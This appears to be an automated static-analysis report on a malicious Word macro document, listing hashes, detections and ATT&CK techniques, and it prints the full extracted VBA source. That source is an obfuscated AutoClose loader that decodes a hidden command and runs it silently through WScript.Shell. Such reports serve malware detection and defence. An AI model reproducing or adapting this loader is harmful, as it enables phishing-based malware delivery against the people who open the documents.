Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ec58ed473d3c8fc3…

MALICIOUS

Office (OOXML)

53.9 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-03-18
MD5: c2ac177a2399449ba13389429fc9b44a SHA-1: 6c1b558e91ad4e48f2d6f4b997a52100d3648d24 SHA-256: ec58ed473d3c8fc3d6f4430930359436771de9291d58b30d67b333ef01d59dba
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains obfuscated VBA macros, including an AutoClose macro that utilizes CreateObject and Shell calls. The script attempts to download and execute a second-stage payload, indicated by the use of `Application.Run "hydrocolloids", itching` and the obfuscated string reconstruction. The presence of these elements strongly suggests a malicious document designed for payload delivery.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6707243-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6707243-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If gestaltist - organizations > 1 Then
       CreateObject(Trim(indefinable) & ".Shell").Run tirewomen, 0
       plans = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "hydrocolloids", itching
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If gestaltist - organizations > 1 Then
       CreateObject(Trim(indefinable) & ".Shell").Run tirewomen, 0
       plans = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  hypersensitiveness = Array("4", "q", "Z", "w", "k", "3", "j", "r", "j", "G", "Z", "w", "w", "n", "Y", "e", "e", "q", "l", "N", "C", "j", "s", "l", "S", "Z", "7", "C", "j", "R", "Z", "l", "j", "W", "C", "z", "R", "s", "R", "q", "3", "S", "R", "4", "e", "c", "V", "I", "e", "W", "C", "4", "k", "3", "n", "Z", "n", "h", "l", "w", "4", "k", "T", "z", "j", "B", "q", "l", "q", "s")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2121 bytes
SHA-256: 30f8a83c1331f36ff93e514e7d4f33356b806d9fdfa53773b32be082258c4000
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function infects(hypersensitiveness)
  captor = Array("T", "w", "3", "q", "4", "W", "k", "7", "C", "Z", "c", "r", "R", "S", "j", "N", "I", "l", "B", "V", "e", "Y", "G", "z", "s", "n", "h")
  mesua = Array("=", "t", ".", "s", "m", "l", "a", "n", "i", "h", "A", "x", "o", "c", "e", "k", "K", "u", "r", "F", "/", ":", " ", "v", "b", "p", "?")
  
  esca = vbNullString
  
  For Each telegraphoscope In hypersensitiveness
    compromise = prototherian(telegraphoscope, captor, UBound(captor))
    If compromise > -1 Then
    esca = mesua(compromise) & esca
    End If
  Next
  
  infects = StrReverse(esca)
  
End Function

Public Function prototherian(swivel, nongolfer, glossoepiglottidean)
  knuckly = 5553
  begat = 772
  For knuckly = 0 To glossoepiglottidean
    If nongolfer(knuckly) = swivel And knuckly > -1 Then
     begat = knuckly
    End If
  Next

  If begat = 772 Then
    begat = -1
  End If
  
  prototherian = begat
End Function

Sub AutoClose()
  hypersensitiveness = Array("4", "q", "Z", "w", "k", "3", "j", "r", "j", "G", "Z", "w", "w", "n", "Y", "e", "e", "q", "l", "N", "C", "j", "s", "l", "S", "Z", "7", "C", "j", "R", "Z", "l", "j", "W", "C", "z", "R", "s", "R", "q", "3", "S", "R", "4", "e", "c", "V", "I", "e", "W", "C", "4", "k", "3", "n", "Z", "n", "h", "l", "w", "4", "k", "T", "z", "j", "B", "q", "l", "q", "s")
  itching = infects(hypersensitiveness)
  
  Application.Run "hydrocolloids", itching
  
End Sub


Private Sub hydrocolloids(tirewomen)
   
   indefinable = "WScript"
   organizations = 3271
   plans = True
   
   While plans
     gestaltist = organizations + 60
     If gestaltist - organizations > 1 Then
       CreateObject(Trim(indefinable) & ".Shell").Run tirewomen, 0
       plans = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 4eb74c0b981ddb7154a52860db696435130a182e5f19415079495fcea9f09a54
Detection
ClamAV: Doc.Malware.Generic-6707243-0
Obfuscation or payload: unlikely

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